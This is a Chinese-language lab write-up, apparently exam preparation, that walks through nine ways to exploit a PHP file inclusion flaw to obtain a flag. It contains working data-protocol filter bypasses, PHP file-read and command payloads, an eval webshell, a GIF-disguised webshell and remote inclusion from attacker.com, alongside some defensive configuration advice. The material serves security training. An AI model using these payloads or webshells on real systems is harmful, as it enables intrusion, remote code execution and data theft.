文件包含漏洞是Web安全领域中常见的高危漏洞类型,主要存在于使用动态文件包含机制的PHP应用中。当开发者使用include、require等函数时,如果未对用户输入进行严格过滤,攻击者就能通过构造特殊参数读取系统敏感文件或执行任意代码。
在CISP-PTE认证考试中,文件包含是必考的核心知识点之一。本次靶场模拟了典型的文件包含漏洞场景,目标是通过多种技术手段获取存储在key.php文件中的flag值。下面我将从渗透准备、漏洞利用、源码分析三个维度,详细解析9种不同的渗透方法。
靶场首页明确提示存在PHP文件包含风险:"PHP文件包含风险的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。"
初始访问URL为:
code复制http://fd06f791.clsadp.com/start/index.php?page=hello
观察发现,无论输入什么参数,服务器都会自动添加.txt扩展名。例如:
这种强制添加扩展名的机制是开发者设置的第一道防线,但正如我们将在后续步骤中看到的,这种防护可以被多种方式绕过。
首先测试标准data协议的直接使用:
code复制data://text/plain,<?php phpinfo();?>
返回结果为空,说明系统对"data://"这个完整协议标识进行了过滤。
通过查阅PHP官方文档可知,PHP的文件流包装器具有很好的容错性,以下形式都能被识别为data协议:
这种特性为我们后续的绕过尝试提供了理论基础。
使用单斜杠形式的payload:
code复制data:/text/plain,<?php phpinfo();?>
成功执行phpinfo()函数,证明系统未过滤这种变体形式。phpinfo页面的输出为我们提供了服务器环境的关键信息,包括:
同样有效的无斜杠形式:
code复制data:text/plain,<?php phpinfo();?>
这种形式更加简洁,完全避开了对"data://"的字符串匹配。
当简单的变体也被过滤时,可以采用双写混淆技术:
code复制data:data:////text/plain,<?php phpinfo();?>
原理是:如果过滤逻辑只是简单替换"data://"为空,那么双写后的字符串经过过滤会变成"data://text/plain",仍然保持有效。这种技术在SQL注入等场景也很常见。
code复制data:/text/plain,<?php readfile('../key.php');?>
readfile()函数直接输出文件内容,是最简单的文件读取方式。注意使用../进行路径穿越,因为key.php位于上级目录。
code复制data:/text/plain,<?php system('cat ../key.php');?>
通过system函数调用系统命令cat,这种方法的特点是:
code复制data:/text/plain,<?php highlight_file('../key.php');?>
highlight_file函数会以语法高亮形式显示源代码,视觉效果更友好,适合快速定位关键信息。
code复制data:text/plain,<?php @eval($_POST[ljn]);?>
这个payload会在服务器上创建一个webshell,可以通过POST参数"ljn"执行任意PHP代码。
中国蚁剑是一款流行的webshell管理工具,连接步骤如下:
通过蚁剑可以直接查看/编辑key.php文件,这是最直观的flag获取方式。
通过蚁剑获取的源码显示,系统采用了多重过滤:
php复制$page=str_replace("php://", "", $page);
$page=str_replace("file://", "", $page);
// ...共过滤11种协议
$page= $page . ".txt"; // 强制添加扩展名
这种过滤方式存在三个根本缺陷:
开发层面应该:
创建一个包含GIF文件头的PHP脚本:
code复制GIF89a <?php echo "mooyuan"; @eval($_POST['ljn']); ?>
文件头欺骗可以绕过某些简单的文件类型检查。
通过http协议包含远程服务器上的脚本:
code复制http://fd06f791.clsadp.com/start/index.php?page=http://attacker.com/shell.txt
然后通过POST传递执行命令:
code复制ljn=system('cat /var/www/key.php');
ini复制allow_url_include = Off
allow_url_fopen = Off
完整的文件包含漏洞测试流程应包括:
文件包含漏洞的渗透测试需要结合具体环境特点,灵活运用各种技术手段。通过本次靶场练习,我们系统性地掌握了9种不同的利用方法,这些技术在真实渗透测试场景中都具有实用价值。